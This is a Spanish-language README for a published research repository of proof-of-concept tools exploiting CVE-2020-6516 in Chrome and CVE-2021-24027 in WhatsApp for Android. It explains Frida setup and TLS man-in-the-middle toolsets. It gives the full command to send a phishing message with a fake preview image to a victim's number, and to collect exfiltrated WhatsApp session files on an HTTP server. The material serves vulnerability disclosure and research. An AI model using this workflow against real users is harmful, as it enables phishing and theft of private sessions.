
PoC y herramientas para explotar CVE-2020-6516 (Chrome) y CVE-2021-24027 (WhatsApp)
Este repositorio contiene código PoC y herramientas que fueron desarrolladas como parte de nuestra investigación [01] sobre la explotación remota de vulnerabilidades Man-in-the-Disk (MitD) en WhatsApp para Android. Como se discutió en nuestra publicación del blog, el código y los scripts adjuntos que se encuentran aquí se utilizaron para explotar CVE-2020-6516 (Chrome) [02] y CVE-2021-24027 (WhatsApp) [03].
La estructura de este repositorio es la siguiente:
El directorio actual contiene la herramienta Python que intercepta WhatsApp usando Frida, envía el mensaje de phishing que lleva la carga útil de omisión de CORS y ejecuta un servidor HTTP, donde se envían los archivos de sesión exfiltrados del dispositivo víctima.
tls12_psk_extract/ contiene el conjunto de herramientas MitM para TLS v1.2. Consulte README.md en ese directorio para obtener más información sobre cómo preparar un entorno MitM.
watls_psk_extract/ contiene el conjunto de herramientas MitM para TLS v1.3 (WaTLS). Consulte README.md en ese directorio para obtener más información sobre cómo preparar un entorno MitM.
openssl-1.1.1f-patches/ contiene parches de OpenSSL 1.1.1f necesarios para configurar entornos MitM TLS v1.2 y/o TLS v1.3.
secrets/ contiene un script de shell simple y una configuración de OpenSSL para generar certificados similares a los utilizados por la infraestructura TLS v1.3 de WhatsApp. Las claves y certificados generados se pueden usar tanto para MitM TLS v1.2 como v1.3.
Por último, pero no menos importante, misc/ contiene varios scripts de Frida que se utilizaron con fines de prueba y depuración durante nuestra investigación y pueden ser útiles para otros investigadores.
Para probar el PoC necesita un dispositivo Android con WhatsApp 2.20.206.22 [04]. Aunque nuestro código fue desarrollado inicialmente para 2.19.355, y por lo tanto puede encontrar los fragmentos correspondientes en frida_scripts/, esa versión ahora se considera 'expirada' y no funcionará.
Antes de iniciar el PoC, es una buena idea compilar la menor cantidad posible del código DEX de WhatsApp. Hacerlo podría ayudar de manera proactiva a evitar problemas como que Frida no pueda enganchar métodos específicos.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Descargue el servidor de Frida y envíelo a su dispositivo Android en /data/local/tmp, dejando el nombre de archivo predeterminado como está. La versión 12.8.10 está probada y se sabe que funciona bien. Siéntase libre de descargar una más reciente si lo prefiere. El PoC detectará automáticamente el binario del servidor de Frida e intentará ejecutarlo con los argumentos de línea de comandos apropiados.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
La lógica principal del exploit está implementada en main.py. Los archivos adb.py y frida_util.py son versiones reducidas de herramientas que usamos internamente para varias tareas de depuración en dispositivos Android.
Para ejecutar el PoC, conecte su dispositivo Android a su computadora y ejecute el siguiente comando:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
Los modificadores de línea de comandos pasados a main.py son los siguientes:
-s - El número de serie del dispositivo Android a utilizar, en caso de que el atacante tenga múltiples dispositivos Android conectados a su computadora.
-a y -p - Dirección y puerto, respectivamente, del servidor HTTP donde se enviarán las sesiones exfiltradas.
-r - Indica a main.py que inicie el servidor HTTP mencionado en la computadora local. Si no pasa -r, asegúrese de ejecutar server.py en el host especificado por -a y -p.
Los argumentos posicionales son los siguientes:
images/guardian.jpg - Una imagen JPG que se utilizará como vista previa falsa del mensaje, para engañar a la víctima y hacer que haga clic en ella.
[email protected] - El número de teléfono móvil de la víctima en formato WhatsApp. Generalmente es el prefijo del país seguido del número móvil. Por ejemplo, los números griegos (+30) se ven como [email protected].
"Rush for Mediterranean gas" - Una cadena arbitraria para usar como título del mensaje.
Para un ejemplo de uso real, consulte nuestra publicación del blog, y más específicamente los videos de demostración.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027